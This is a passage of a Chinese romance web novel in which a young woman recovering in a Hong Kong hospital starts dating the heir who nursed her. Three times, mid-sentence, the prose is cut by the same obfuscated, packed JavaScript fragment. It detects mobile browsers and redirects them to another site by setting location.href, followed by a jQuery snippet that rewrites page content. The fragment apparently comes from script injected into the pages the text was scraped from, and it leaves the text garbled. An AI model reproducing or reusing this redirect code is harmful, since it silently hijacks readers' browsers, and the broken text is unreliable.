床头柜上的不锈钢托盘刚好被她碰掉在了地上,房间里顿时一阵叮叮咣咣的刺耳噪音,还不知发生什么事的余萧弋被吓得直接从椅子上跳了起来,第一反应就是去用手护住小初的头,“怎么了,地震了吗?” 护士好笑地看了两人一眼,递过一支体温计来,“就算真有地震,先生你应该也能护住女朋友的。不过,还是量体温先吧。” 小初不想跟外人解释什么,最主要她还没刷牙并不太想说话,于是沉默。 余萧弋因她的沉默偷偷看了她一眼,嘴角不自觉上翘了一个好看的弧度。 小初接过护士的体温计,两人的距离依旧太近,她只能以手势代替语言,指了指门的位置,示意他先出去。 余萧弋看她精神已经恢复到和平时差不多,眼睛里也有了亮光,一颗悬着的心也算是终于归了位,于是也没多说什么,顺着她的意出门去了。 走到门口想起什么又回头问她:“我去买早餐,你想吃什么?” 既然已经麻烦人家一晚上了,这会儿再客气就矫情了,小初想了想说道:“想喝粥可以吗?” “什么粥?” “都可以,不过我不吃猪肝。” 余萧弋挑眉看向她,笑:“小姐你回头要不还是给我列个清单吧,昨天是苦瓜,今天是猪肝,上次是兔肉,下次又是什么?万一我买错,你又要我吃完你的那一份。” 小初瞪他:“余萧弋你注意你的态度。” 虽然她没想和他在一起,可他连这点耐心都没有,还追什么女孩子? 吃点她不想吃的东西又怎么了,多少人想吃还没这个福气呢。 再说了,谁要跟他有下次。 余萧弋态度立刻软化下来,“OK,我错了。”又问她:“生滚肉碎粥配蔬菜可以吗?” “菜心。” “OK,就菜心。” “小食呢 ?” 他话怎么这么多!小初赧然看了护士一眼,“不要不要,快走快走。” 余萧弋得了令,步伐轻快地下楼去了。 护士小姐很久没有见到这么登对的小情侣,脸上的姨母笑就没停过,余萧弋一走,她就朝小初眨了眨眼:“小姐,你男朋友好宠你,又好温柔好有耐心,昨晚你反反复复发烧都是他亲力亲为照顾你,又是测体温又是擦身……” 小初不敢相信自己听到了什么,满眼惊恐,“擦,擦身?” “哦,不是你想得那样,是额头啊,手肘啊, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16309771|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颈部啊什么的,物理降温而已。” 小初仍旧有点怔,即使不是那样也是这样,都是肌肤相亲,还分什么80%和20%吗? 这个该死的Wendy朱,她决定一会儿从医院回去就拧断她的脖子。也不知她收了余家人多少好处,要这样拿她来献祭。 当然,最可恶的还是余萧弋本人,他经过她同意了吗就这么照顾她?她人都在医院了,难道还会因发烧而死掉吗? 就算死掉,自有她家人朋友伤心,跟他又有什么关系。 护士看了眼体温计:“现在看着还好,接下来具体的治疗方案你还是要听听医生意见。我马上下夜班了,你有事按铃喊人就行。” 小初点头道谢。 护士一出门,她就进卫生间将自己简单洗漱了一番。还说什么无论怎样都要漂亮地活着,还没过一天,她就已经落到这个境地了,连保持干净都成了奢望,还谈什么其他的。 半个小时后余萧弋回来时,也已经不知在哪里清洗过自己,小初见他连发型都打理得清清楚楚,实在没忍住凝了凝眸。 不知怎么忽生出个念头来,她最好这辈子都能与他做朋友,否则他一定会是她最强劲的对手,让她在他手中吃尽苦头。 “生滚肉碎粥。”余萧弋帮她把吃的放在病床上的小桌子上,“还有拌菜心,另有一颗太阳蛋。” “多谢。” 余萧弋看她一眼,“这就要谢,那你该谢的还有很多。” 小初从善如流,“昨晚的恩德我也记在心上了,以后余少有什么需要的,我方太初肯定也义不容辞。” 余萧弋呼吸噎住,“你一定要一大早就这么气我?” 小初弯了弯眼睛,不再说话。 两人坐在一张桌子的对面各自吃了早餐。 余萧弋为自己买的是一份汤饭,小初已不是第一次和他一块吃饭,却再次在心里感叹了下豪门望族的教养,即便用餐环境这么简陋,却依然不掩他举手投足都不疾不徐,优雅从容 。 “你昨晚说梦话了。” 饭吃一大半,余萧弋突然说道。 小初顿了顿筷子,“我从不说梦话。” “你问我,余萧弋,你为什么要跟别人结婚。”他直视她眼睛。 小初心下一沉。 昨晚的梦早已碎成一万片消失在了记忆深处,但他这句话确实是她从昨天到现在痛苦的来源之一,她不敢太过笃定。 余萧弋却不打算再给她溜走的机会,“为什么会问这句?我在梦里做了什么对不起你的事了。” 小初掀眸看他一眼,脸颊已逐渐染了绯色。 他说的这什么话? 什么叫对不起她的事? 她和他有什么关系,说什么对得起对不起。 “该不会是梦见我听从家里安排去联姻了吧?” 小初黑白分明的眸子缓缓氤氲出一丝嘲讽来,“像你们这种家庭,联姻也很正常吧?小说都那么写的。” 余萧弋已抓住自己想要的东西。 他猜对了。 “可见小说作者根本不懂现实世界。你去查一下本港近二十年有头有脸的家庭联姻的夫妻有几对?仅有的那几对最后大多也都以悲剧收尾了吧?人就是人,无论生在什么人家,选择伴侣还是应该以情投意合为第一考虑吧?有钱人娶女明星的倒还多过联姻,你怎么不觉得我会喜欢女明星?” 小初咬了咬唇。 她就知道他根本不像他外表那么光风霁月,从一开始,他就是个目标明确的行动派,很会切入要害。 “因为你还没到喜欢女明星的年龄。” “我爸妈也是从同学到夫妻的,我爸到现在也没喜欢女明星。” 小初用筷子把太阳蛋夹成了两半。 “你在娱乐报纸上看到的那个要联姻的人,是我堂哥余珺彦。” 小初手一抖,一半的太阳蛋就从餐盒落到了桌子上。 “谁看娱乐报纸了!你真是自作多情到一定程度了,以为你们家是太阳呢,全世界的目光都要围着你们转?” 余萧弋挑眉笑,“没看就没看,你激动什么?”他从容夹起那半掉在桌子上的太阳蛋,“这个我帮你吃了。” “谁要你……” “我的这个给你。” 小初的话还未说完,余萧弋就把自己那个完整的太阳蛋夹到了她的碗里,“若我以全部真心换你半点心,你愿意吗?我all in,而你,就算输,也就只输这一半,如何?” 这,个,风,月,高,手! 她哪来的把握只用半点心就赢他所有? “怎么,方小姐不敢?” 小初不知怎么就被他激起好胜心来了,“我会不敢?” 余萧弋伸出手来,和小初握了握,“那就这么说定了,女朋友?” “……” 方太初还没太明白发生什么事,手就已经被他握在了掌心。 她这是,把自己给赌出去了? 26. 第 26 章 “我要提醒你,余萧弋。”方太初没有抽回自己的手,只是无比认真地看着他,“我个性太强,并不是一个太适合做女朋友的人。” “我也要提醒你,方太初。”余萧弋的眸子在晨辉的笼罩下泛着淡棕色的光芒,“我不是第一天认识你了。” 小初说:“确切点说,我不够温驯。” 余萧弋露出一个疑惑的眼神,“为什么要温驯?” “因为温驯是你们这样的家庭为儿子选择另一半最基本的要求。要温驯,谦和,忍让,在男人将来可能犯错的时候要以大局为重,不能把事情闹得太难看,除此之外,她最好还要有自己的事业和经济独立的能力,深谙扮演一个体面附庸的艺术。” 余萧弋沉思了一下,点点头,“我不否认,因为这就是人性,在高位待久了人是很难站在别人的立场上考虑问题的,利己主义无论在哪个圈层都适用。只是恐怕,世上并没有那么便宜的事,什么好处都想拿,下场只会很惨。” 这下倒轮到小初意外,“你倒是坦诚。” “我爷爷奶奶当初应该也是这么想的,结果就是小叔和小姑姑都错过了爱人,这辈子想必也就这样了。二叔倒是听了他们的话,十年后也离了。大姑姑嫁的外国人,暂时不在讨论范围,唯有我爸,找了个完全主导她的女人,反而婚姻最稳定。” 余萧弋大笑:“我妈也不温驯。” 小初问:“那她强势吗?” “放心,她很好相处的。”余萧弋掌心的力量加强了几分,神色暧昧,“就算不,还有我。” 一阵令人心悸难忍的酥麻痒意从两人肌肤相接处传来,小初有点想躲,却换来他直接越过隔在两人之间的小餐桌直接坐到了她身边来,手依旧没有放松,只是换了个更像牵手的姿势,那日拖了小半日手逛街的记忆袭来,小初腼腆地别了别脸。 “我有什么放心不放心。” 余萧弋问:“你妈妈呢,她温驯吗?” 小初想了想,摇头:“她不是温驯,是温柔,很少跟谁发生正面冲突那种,但内里极为坚韧有主见,并不是随便叫人欺负的类型。所以,外人都当我爸爸那么强势在家一定是说了算的那个,实际我妈妈治他只需要一个眼神。” “这个就叫一物降一物。” 小初想起很多父母在家相处的片段,唇边逐渐漾起笑涡,“没错。” 余萧弋又问:“这么说你爸妈性格还挺不一样的。” “就是不一样,所以他俩当初能相互看对眼我还挺意外的。” 提起父母,小初逐渐被安全感包裹,话也多了起来,“比如小时候,我要是在学校被人欺负了,我妈都是告诉我要好好沟通,找老师帮忙什么的,但我爸一定是叫我直接打回去,他来负责医药费。” 余萧弋眨眨眼,“我猜,你一定是听你爸的。” 小初瞪大眼睛看向他:“你怎么知道?” “我说了我已经不是第一天认识你了,还看不出你什么风格吗?我都怕我哪天真被你推进海里喂鱼。” 小初失笑:“那是我早参透了,我妈妈的教育理念的确有它的道理,但我爸的方法绝对更有效。小时候要不是靠这个方法,我早被人欺负死了。” 余萧弋眯了眯眸子,“他们为什么欺负你?” 小初不想提及父母离婚的那十年对她造成的影响,只淡淡说:“因为我漂亮呗,我小时候不夸张,是真的直接可以给各大品牌做童模那种,结果谁想得到……”她自嘲看了眼窝在病床上乱七八糟的现在的自己,“越活越没人样了。” “谁说的。”余萧弋在她的注视中露出一个甜笑:“现在也很漂亮。” 小初这才意识到两个人的距离已经近无可近了,近到她甚至可以数清他根根分明的睫毛了。 “你……”她不自然地吞了吞口水,“能不能不要离我这么近?” 余萧弋神色暗了暗,“所以,你是真的对我生理性厌恶吗?” 他想起她之前说的,因为不喜欢他,所以对他亲她很反感,甚至还吐了一场。 如果是这样,他确实要考虑下他是不是一定要强人所难了,毕竟,两个人想长久在一起,总不能一直柏拉图式恋爱,很多东西……他们避不开。 “没。”小初极快否认,却并不敢怎么直视他擅长蛊惑人心的眼睛,“我只是不习惯。”想了想又小声解释了一句,“还是喜欢的。” 既然答应了人家拿半点心出来玩,她自然也不能一点坦诚也不付出,只对别人的爱情电影冷眼旁观。 余萧弋不敢相信自己听到了什么,重复道:“喜欢?” “嗯,是喜欢的。”小初满脸少女的娇羞,“但我不想太快,因为我,不太相信一见钟情,不想自己的初恋太潦草,想好好开始,认真相处。”又小心问他:“可以吗?” “好。”余萧弋感觉自己这前二十几年从来没有像这一刻这样圆满过,眼底已在不经意中都是点点碎光,“方太初小姐,很荣幸出现在你的人生规划中。” 小初歪头,伸手抹了抹他眼角的泪。 没说话。 只让无言覆盖了这个重要的时刻。 恰好查房医生带着实习生推门进来,一群人根本没想到在病房还能看见小情侣深情对视的戏码,人性的八卦暂时战胜了职业道德,空气有好几秒都是静的。 最后还是随行护士先打破沉默:“两位,早晨换班的护士没跟你们讲医生查房前病房卫生要整理好吗?” “唔好意思。” 余萧弋反应过来,并三两下就收好了装着残羹剩饭的餐盒,将小桌板折叠到了病床的侧面,整个过程甚至没超过半分钟,速度快得让所有人都露出惊讶的神色来。 不过最意外的那个人还是小初,她实在是没想到平时养尊处优的大少爷做起琐事来手脚也会这么利落。 一副很有生活经验的样子。 认真看了下小初的一系列报告单之后,医生说她的血项还有些高,最好还是多输两天的液稳定稳定,否则后面说不定隔两天稍微着个凉又要烧起来了,病情反反复复反而容易引起更大问题,比如肺炎什么的,还不如一次彻底治好。 又问小初前几天有没有什么症状,小初这才想起她回京前已经烧了一次了,只是那次她没来医院,只自己随便吃了点感冒药。 医生一听更加坚定自己的想法,无论如何都要再帮她开多两天住院单。 小初一听让她住院就有些急了,“可我学校还有课呢。” 余萧弋说:“这个时候还管什么课,你就乖乖听医生话在这休息,公共课程请两天假又没什么,至于专业课,我去帮你听,记好笔记回来讲给你。” 小初愣住,还可以这样? 之前也没人跟她说男朋友还能当有声课堂笔记用啊! 总之这件事就这么不容她反对地定了下来。 接下来的两天,余萧弋几乎一直在路上,除了上两个人的课,他要充当外卖配送员以及私人教师,晚上还要做陪床护工。 第一天晚上还好,另一张床是空的,他好歹还睡了个好觉,第二天病房被安排了个阿婆进来,他没办法,只好学别人租了张折叠椅放在小初的旁边。 阿婆只有一个人,也没个家属陪同,白天倒是安安静静,只是晚上天还没黑就开启了呼噜震天模式,吵得两个人根本没法睡,只能面对面盯着对方的眼睛瞧。 相识以来的回忆不约而同在两人的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16309772|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脑海里一帧一帧倒退着,最后终于停在他们曾在绮丽的那次对视的画面上。 小初想起的是:“方小姐你已经很发财了,不用再往前看了。” 她也是在这一瞬才品出些不对来,他又不知道她家境,是怎么断定她已经很发财了的?所以那句话,究竟只是一句简单的恭维,还是说,他那会儿就已经有点喜欢她了? 因为喜欢,所以自动把他的钱也视作和她有关? 这是什么超绝恋爱脑啊! 他那时候甚至才认识她不到两天! 余萧弋想起的则是她游完泳后湿漉漉的头发以及和他对视时湿漉漉的眼神。 她是那么容易害羞。 却一直用虚张声势的方式保护着她不想被人看到的脆弱和柔软。 余萧弋的眼神不自觉染了几分心疼,伸手摸了摸她的脸,小声问:“是不是很吵?早知道应该换间单人病房的,只是那天来的时候情况太紧急,就只有现在这间。” 小初却没放在心上,只是笑着揶揄他:“哎,Theo余,你是不是长这么大第一次知道公立医院的病房是长这个样子的。” 余萧弋扬了扬下巴,眼神极为傲娇:“你看不起谁,就算没住过,我还没看过新闻报纸和影视剧吗?前几年有一部很出名的医疗剧,我为了看它还熬过两个通宵,你不要把人想得太不食人间烟火好不好?” 小初笑出声来,“你还追剧呢?” “你都能喜欢毛绒公仔,我为什么不能追剧?” “……” 熄灯时间到,房间陷入黑暗。 余萧弋收回手,枕在自己头下,轻声说了句:“晚安。” “嗯,好梦。” 两人都没再说话。 房间里阿婆的鼾声依旧很响,却不影响他们都知道对方很久都没有入睡,甚至眼睛都是睁着的。这是他们人生第一次这么近的距离躺在一起,近到只要动动手指,就可以感受到对方的呼吸和体温。 第三天医生终于大发慈悲放小初出院。 自从来了香港之后,她就没有这么放松地休息过,虽说在病房里也没耽误她看论文和复习笔记,但总算不必疲于奔波。 她感觉她这三天至少胖了三斤,应该足够哄下周抵港布展的黄亦玫开心几天了。 出院这天是个周末,天气异常晴朗。 小初在病房的卫生间简单洗了个澡,等余萧弋帮她办好出院手续上楼来的时候,她已经变了个模样,脸上再无一丝病气,并且因为胖了三斤看上去更明媚了几分。 余萧弋的目光凝住。 小初装作不经意,“走吧,请你吃饭去,感谢你这两天无微不至的照顾,余学长辛苦了。” 余萧弋为难地低头看了看自己:“你确定吗小姐,我都两天没换衣服了。” “哎呀,不要在意那些细节,我请你吃饭的餐厅还不至于因为着装问题就把你赶出来的。”小初大笑,扯过书包。 “你最好不是在哄我。”余萧弋自然而然接过她的书包,背在了自己身上。 两人下楼。 小初住的医院是她们学校附属的医院,除了服务公众外,也供医学生们上课和实习,比如有些解剖课和实验课什么的。 不过在今天之前她从未认真想过这个问题。 直至,她和余萧弋在楼下直面碰上叶子瑜。 彼时,叶子瑜正拄着单拐从台阶上蹦上来,每一步,都艰难得令人心酸。 他身边并没有跟着女朋友。 小初定住。 差点忘了怎么呼吸。 一个多月没见,他剪了个极其贴头皮的发型,看着,锐利了好多。 眼神也更阴郁了。 27. 第 27 章 叶子瑜似乎也没想到会在这碰见她,一时立在原地,停在两级台阶中间,饶是面上的笑容再亲和,也难掩眉宇间的尴尬。 最后还是余萧弋快几步跑了下去,一把扶住了他,语气老熟人一般的自然,“叶同学是来复查吗?下次如果没有朋友陪同,一定要给我和……”他顿了顿,也没太想好要给女朋友取个什么样的昵称才显得亲密又不矫情,“和小方打电话,我们两个去接你。” 小初眉心一跳,很有些无语。 此刻的他看着既心机又做作他自己知道吗? 叶子瑜意味深长地看了两人一眼,也没拒绝,大大方方就着余萧弋的手臂上了台阶,在小初面前停住。 小初关切地问:“你好点没?” 叶子瑜笑,语气松松垮垮,和好多没什么正形的北京男孩别无二致,“还行,离残废还有点距离,生活自理什么的没有问题。” 小初睨他:“你的阿沅怎么没陪你来?” 原本她这句话也没什么酸涩和意难平的意思,但也不知道怎么听上去还是有点怪,连她自己都觉得怪,她更不敢去思考另外两个男人会怎么想。 人果然还是离前任远一点为好,免得碰了面大家都尴尬,平常的对话也像是含沙射影,心累。 叶子瑜说:“她上班。” 小初奇怪:“今天不是周末吗?” 他笑:“打工人的世界你不懂。” 叶子瑜这句话或许本来也没有别的意思,可落在小初耳朵里却多了一层,像是在嘲讽她大小姐做惯了,不识人间疾苦,又像是再次表明两人已身处不同世界,根本不必再强行产生交集。 小初脸色顿时有些难看,忍了又忍还是没忍住,呛声道:“叶子瑜你给我好好说话。怎么,你现在是连朋友都不想跟我做了吗?要不要我请个见证人来帮我们划清界限,从此老死不相往来?” 余萧弋眯着眸子看了她一眼。 说完她又觉得自己似乎有点太激动,空气静默下来,她不太敢看余萧弋此刻的表情,只能硬着头皮继续说下去:“我们好歹也是十几岁到现在的交情,更别说你这条腿还是因为我才受伤的,刚刚余同学没说错,你要是有事需要帮忙就给我打电话,我手机二十四小时都开着机,你的阿沅又要上班,家里还有个上幼儿园的小朋友,你就算需要帮忙也不丢份吧?” 叶子瑜没想到他只说了一句话她反应会这么大,一时也有点懵,不过下一秒他还是大喇喇笑了:“不至于吧,方太初,你想深了。” 小初说:“你瞅你现在这个德行,剪个圆寸就以为自己是痞帅小爷了啊。” 叶子瑜更无奈了,“小姐,我只是没空出去剪头发而已。” 小初对此不予置评。 叶子瑜叹口气,也没避讳余萧弋,“我爸上上个星期来香港出差,顺道来看我了。” 小初愣住,继而如梦初醒:“他看见阿沅和孩子了?” 叶子瑜苦笑着点点头。 “那他说什么了?” “没说什么。”叶子瑜仍笑着,“就说我果然跟我那个妈一样,只会让人头疼。” 小初蹙眉:“这话太过分了,你爸好歹也是个公司高管,就算说气话也要有个限度吧。” 叶子瑜耸耸肩:“他说得倒也没错。” “后来呢。” “从我那个小公寓下去,还没上车就发了消息过来,说是我要再这么下去,接下来几年的学费就别再找他。” 小初和叶子瑜几年好友关系,岂会不知道他的心结,不禁同情地拍了拍他的手臂,“你别多心,他只是说气话,并且有点无能狂怒的意思,等再过几年你自己挂牌成了医生,年入百万,你看他还敢不敢拿钱来威胁你。话说回来,做父母的,看见子女找的另一半年龄大那么多,还结过婚有孩子,脸色肯定都不会太好,你既然当初做了这个选择,也早该料到这一天的。” 叶子瑜笑出声来,“方太初,以后你肯定是极会给员工画大饼和打鸡血的那类老板。” 余萧弋敏锐地看向小初,心脏重重坠落下去。 他倒是没有特别在意叶子瑜的存在。 他只是隐隐觉得,和叶子瑜的过去有所连接的那个方太初,是他完全不认识也不了解的另一个人。 他们之间的默契和情谊,或许是他无论花多少年,付出多少努力都追不上也覆盖不掉的。 然后他又问自己,为什么会产生“覆盖”这个念头呢?明明,在最开始喜欢上她的时候,他就没有在意过她的过去,可为什么,他还是如此嫉妒,嫉妒到快要发疯,却又那么无力,无力到快要碎掉。 小初没否认,“Maybe。”又问叶子瑜,“后来呢?” “后来?就上个星期,连筝也来了一趟。”叶子瑜低下头去。 小初问:“连筝说什么了?” “连筝倒是没说什么。”叶子瑜抬起头,眼角有点湿,“她只是说……”他别过头去,半晌才忍住声音里的颤抖,“说,一个人只有极爱另一个人,才能视对方的孩子如己出,她能理解我。” 小初也陪着湿了眼睛。 “连筝阿姨很爱你。” “她更爱的那个人是我爸。” 小初抿抿唇,“这也是应该的,她肯定是先爱上你爸,才爱屋及乌爱上你的,不是吗?顺序就是这个顺序,要是乱了倒奇怪了。” 叶子瑜说:“要是亲妈,就不会说这句话。” 小初心里涌起一阵难过,她知道他一直崇拜和喜欢连筝,但无论如何于静才是那个真正怀胎十月辛苦将他生下又养大的人。 这么多年他夹在其中,无论偏向哪一方都有不忠不孝的嫌疑,现在远远逃走了,倒也是个不赖的结局。 于是跟他说:“你别理会他们上一辈的恩怨情仇了,多顾好自己,快点毕业,早点独立。” 叶子瑜点头:“知道。”又问她:“你来医院干什么?” 小初笑:“还能干嘛,生病呗。不过只是小病,现在已经好了。你呢,是来复查吗?要我陪你进去吗?” “不是。”叶子瑜看了看表,“我一会儿有节实验课,不来不行。” “哦。”小初有些意外,“那你快去吧。” “行,那我走了。” 叶子瑜跟余萧弋点了点头,一步步拄拐远去了。 他走了很远,小初仍望着他的背影发着呆。 她活了这么大,也算是顺风顺水,可直到最近她才逐渐明白,无论人出身于什么家庭,处于什么境地,都有自己需要面对、别人帮不上忙也解决不了的人生课题。 比如叶子瑜,林佳宜,梁培风,甚至朱慧雯。 “喂,小姐,他已经不见了。”余萧弋的语气酸酸的。 小初浑然不觉,只是莫名其妙问了他一句:“Theo余,你平时有什么烦恼吗?” 余萧弋愣住:“什么?” 小初摇摇头,笑了笑,觉得自己有些太无厘头了,他年纪轻轻就已经要风得风要雨得雨,还能有什么烦恼? “算了,当我没问。” 余萧弋说:“有啊,怎么没有。” 小初好奇看向他。 “比如爱而不得什么的。” 小初思考了一下:“所以你之前还有追别人失败的历史?” “??”余萧弋向前一步,不动声色贴近她的耳朵,“我到底是做错了什么会给你这样的印象?” 耳边他的呼吸很有煽风点火的嫌疑,小初躲了躲,斜睨他:“没有,我都答应和你交往了你还什么爱而不得?” “……” “莫非你爱的还另有其人?” 余萧弋没想到她还有如此不讲理的一面,一时只觉得心旌摇曳,什么猜忌和不安都没有了,眼神也不自觉柔软下来,语气甚至有点撒娇,“还请我吃饭吗?” 小初咬了咬唇,最终还是决定不和他计较了:“你想吃什么?” 他的目光只流连在她的唇上,“都好。” “那就吃日本菜吧,那边刚好有一家。”小初指了指马路对面的招牌。 “Ok。” 两人手拖手过马路,脚步轻快地越过路面上的铁轨。不远处刚好一辆红色复古的叮叮车驶来,余萧弋悄悄掏出手机,突然喊了声,“方太初”。 小初不知发生什么事,懵懵然抬起头来,下一秒,两人的合影就已出现在了他手机里。画面中他笑得灿烂,小初瞪着大大的眼睛,因为两人都在移动中,所以镜头有点晃,叮叮车倒是红得很有氛围感。 “这是我们第一张合影。”余萧弋得意非凡。 小初凑过去,态度严谨,“看得出我大病初愈状态还不太好,而你两天没换衣服,有点狼狈。” “方太初你好煞风景。” 小初大笑。 余萧弋又问:“我可以Po到IG上吗?” “不可以。” “为什么?”余萧弋有些委屈,“你不想和我一块出现在社交软件上,是吗?” 小初说:“不是不想和你,只是单纯不想。” 她向来克制,朋友圈多个分组,大多数状态和照片都只有少数人可见,不是她防备心太重,而是她实在不宜在太多人面前暴露隐私。 她这种含着金汤匙出生的孩子,对于那些仍需要自己很努力才能过上好生活的同学来说,本来就已经够不公平了,再过多表达,就是一种伤害了。 靠炫耀自己和伤害别人来维持优越感,是她最不屑一顾的东西。 秀恩爱就更加不必,她又不知道她究竟能和他走多远,何必刚有眉目就昭告天下,给自己惹一身麻烦。若是真有缘分,还怕将来结婚请柬上没有双方的名字吗? “朋友圈也不发?” “不发。” 余萧弋抿抿唇:“方太初,我是第一次谈恋爱,你可别骗我。” 他那些朋友,比如铭仔, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16309773|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可是每次恋爱都恨不得甜疯一群人的。 “你为什么执着这个?”小初不太理解把私人感情解释给外人的意义。 “不是执着……只是锦衣夜行,未免太……” 他还未说完,小初就蹙起了眉,“所以你把我当成一件可以炫耀的物品?” “不是!”余萧弋慌了神,连澄清的话都有点语无伦次,“我绝不是那个意思!好吧我承认我是有点虚荣心作祟,但你也要想想,我也是活了这么大,才遇到一个自己喜欢的人,我高兴得不知道该怎么表达,恨不得全世界都来羡慕我,我怎么会……怎么会把你当成一件物品?你要是真那么想我,未免也太看轻我!” 什么嘛…… 他这个圈子的男孩谈恋爱,都是女方想尽办法要名分,急着公开,怎么到他这全反过来了? 小初仔细看了他半晌,直至确认他不像是撒谎,才揶揄道:“我早说了吧,我个性太强,根本不适合做谁乖甜娇软的小爱人的,你偏不信。” 余萧弋用力把她揽入怀中,声音几乎是从后槽牙发出的,“谁要什么乖甜娇软?” 小初气他,“你,你们。” “刻板印象最害人。” 小初说:“你衣服有种味道。” 余萧弋立刻跳到两步开外去,脸色像中了毒,“什,什么味道?” “医院的消毒水味。” “……” 小初歪头看向他,笑得几乎花枝乱颤,“不然呢,你以为是什么味道?变质奶酪味吗?” “方太初!”余萧弋终于忍不了了,上前来一把拥住她,也不管什么街上人来人往,对着她就亲了下来,亲一下还不够,是连着亲了好几下,亲完还没忘问她:“怎么样,想吐吗?” 小初浑身已变成蔷薇色,用手背掩住唇,脑子里突然都是那天地铁站里亲昵的小情侣。 以及耳机里传来的那句:“ Cause I''m falling slowly love with you ”。 原来幸福的感觉如此相似。 “我饿了。” “好,去吃饭。” 两人一块上了三楼。 这家日料店环境很清幽,两人选了间榻榻米风格的小包间,一掀开布帘,就被里面古朴的和式风情吸引了目光。 “想吃什么?”小初坐下,将菜单递过去,“别跟我客气。” 余萧弋有些好笑地看她一眼:“还真你请我啊。” 小初点头:“当然。” 余萧弋帮她倒了杯茶,“你病刚好,还是不要吃生食了。” 小初说:“你点你的,我自己会看着办,他们这又不是只有生食。” “方太初,你塞给我的那叠港币我还没来得及花呢,谈恋爱还给男人花钱的,你是第一个。” “我要纠正你,那个时候我还没和你谈。” 上菜速度很快。 日本菜和韩国菜一样,就算没点什么像样的东西,杯盘碗盏也足够媲美国宴。 小初促狭伸了伸手:“请吧,余学长。” 余萧弋微笑,笑容却没有温度,“我不是余同学吗?” 小初不明所以,奇怪地看了他一眼,“什么?” 她调整了下坐姿,足尖却不小心触到了什么,反应了几秒,她才意识到那是他的腿。 木质餐桌下的空间狭小而局促,两人的腿都太长,难免交|叠触碰。 头顶昏黄柔和的灯投射下来,她看见他的眼尾似蝴蝶振翅一般极为迅速地颤抖了一下,尽管很轻,但还是被她抓了个正着。 气氛瞬间暧昧下来。 “我说,你刚刚不是跟叶子瑜介绍我是余同学吗?” “……” 这个小气的男人。 最后没办法,她还是配合他拍了张两人手指交叉围成一个心形的照片任他Po到了他的IG上。 两个人的手指都很修长,无需露脸,美感已拉满。 “哦对了,你是不是还没有Follow我?”余萧弋Po完图正打算@她,才想起他们还没有互相关注这件事来。 小初喂了一口烤鳗鱼给自己,两颊鼓鼓的,“不好意思啊,我没有IG账号。” 而后她笑:“你看咱俩,有没有点像FM和AM?” “什么FM和AM,你现在给我注册一个。” “有必要吗?” “没有吗?” “有,有吗?” 余萧弋瞪她。 “好吧,有。” 他又问:“烤鳗鱼甜吗?” “甜的。” “比我呢?” 小初实在受不了了,直接夹了一块喂给他:“你自己尝尝不就知道了。” 他慢慢吃掉。 眼底温柔蔓延。 “嗯,甜疯了。” “……” 这恋爱要不还是送给别人谈吧。 28. 第 28 章 吃了饭,两人一前一后走到日料店楼下。 说好了一个回学校宿舍,一个去家里位于中环的金融控股公司点卯的,余萧弋却始终牵着小初的手不肯放,叮叮车一辆一辆驶过,他还在有一搭没一搭和她说着话。 他的手很大,掌心有种低温的灼热感,无声无息却连绵不绝,每次微微收紧的动作,总要引起小初心脏一阵律动失调。 她也是至此才知道,他之前所谓的偶尔生活费不够了还要做做兼职是什么意思,原来兼的是继承者的职。 不过这也无可厚非,他们这样家庭的孩子,本来就要权利和义务对等,包括她,难道就能做到只享受光环而罔顾责任吗? 时间已荒废了太多,小初看了看表:“我得回去了。” “嗯。”余萧弋垂下视线:“真的不要我送吗?” “不要啦!”小初有些好笑地推了他一下,“你当我们在演偶像剧吗?送来送去麻不麻烦,我又不是不识路,快走快走,都这个时间了,其实你已经迟到了。” 余萧弋抿唇认真看向她:“真不会怪我?” “为什么要怪你?” “男朋友理应多花时间陪陪女朋友。” 小初无比认同地点点头:“偶像剧里的男女不需要考虑吃饭问题,时间不浪费一下确实可惜。” 余萧弋反应了一秒才意识到她在揶揄他,不禁没好气地揉了揉她的头发,“方太初,你总是和别人不一样。” 小初扬了扬下巴,“我又不是别人,为什么要和别人一样。” 余萧弋想了想又说:“不然,你陪我去上班?反正今天周末。公司楼对面有个商场,你可以逛逛街喝喝咖啡,或者找个安静地方看看书,我大概五点就能走人,然后我们去吃饭,吃饭后去海边吹吹风,或者也可以去剧院看看电影。” 他表现得这样难舍难分,小初倒笑了,朝他眨眨眼,“余萧弋,你是不是想养我?” “嗯?”余萧弋怔了怔,下一秒耳垂已红透,脑子里不自觉跳出很多温情画面,“我当然要养你……男人养家养……老婆不是应该的吗?我答应你,以后一定会很努力很努力的。” 小初打断他不合时宜的旖旎联想,“可是你形容的那个我,也不怎么像妻子啊,倒是有点像某些剧里窝在沙发上等男人回来宠爱的Amazing Lover。” 